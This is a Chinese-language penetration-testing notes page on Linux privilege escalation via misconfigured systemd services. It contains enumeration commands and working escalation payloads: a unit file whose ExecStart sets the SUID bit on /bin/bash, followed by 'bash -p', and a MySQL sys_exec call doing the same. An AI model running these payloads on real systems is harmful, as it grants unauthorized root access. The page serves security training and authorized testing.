> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/services.md).

# 服务与 Systemd

当低权限用户可以编辑服务文件、替换服务二进制文件、控制服务参数，或向 root 运行的守护进程使用的目录中写入时，服务配置错误就会成为提权路径。

## 方法

* 识别以 root 身份运行的服务。
* 检查单元文件， `ExecStart` 二进制文件、环境文件和工作目录。
* 查找可写的服务文件或已启用服务所使用的可写二进制文件。
* 确认你是否可以重启该服务、间接触发它，或等待重启/定时器。

## 快速检查

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## 可写的服务文件

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## 可写的服务二进制文件

这个循环会检查已启用的服务并突出显示 `ExecStart` 看起来不像是 root 拥有的路径。把输出当作初筛结果，然后手动验证。

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## 利用思路

| 条件                   | 利用路径                             |
| -------------------- | -------------------------------- |
| 可写 `ExecStart` 二进制文件 | 用 payload 替换二进制文件，然后重启服务或等待服务执行。 |
| 可写的单元文件              | 更改 `ExecStart` 以运行受控命令。          |
| 可写的环境文件              | 注入服务会读取的选项或路径。                   |
| 可写的工作目录              | 利用相对路径、插件、日志、套接字或临时文件。           |
| 服务以 root 身份运行并解析文件   | 检查解析器漏洞、命令注入、不安全的包含以及可写配置。       |

实验室中的示例单元 payload：

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

只有在你有权限或已确认获授权测试路径时，才重新加载并启动：

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## 以 root 运行的 MySQL

如果 MySQL 或 MariaDB 以 root 运行，并且可用危险的 UDF/函数执行能力，它可能会成为直接的 root 路径。

```bash
ps aux | grep -i mysql
mysql -u root -p
```

在 MySQL 中，根据可用的插件/函数：

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

然后：

```bash
/bin/bash -p
```

这非常依赖环境。在依赖它之前，请确认守护进程用户、插件可用性以及确切的数据库权限。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/services.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.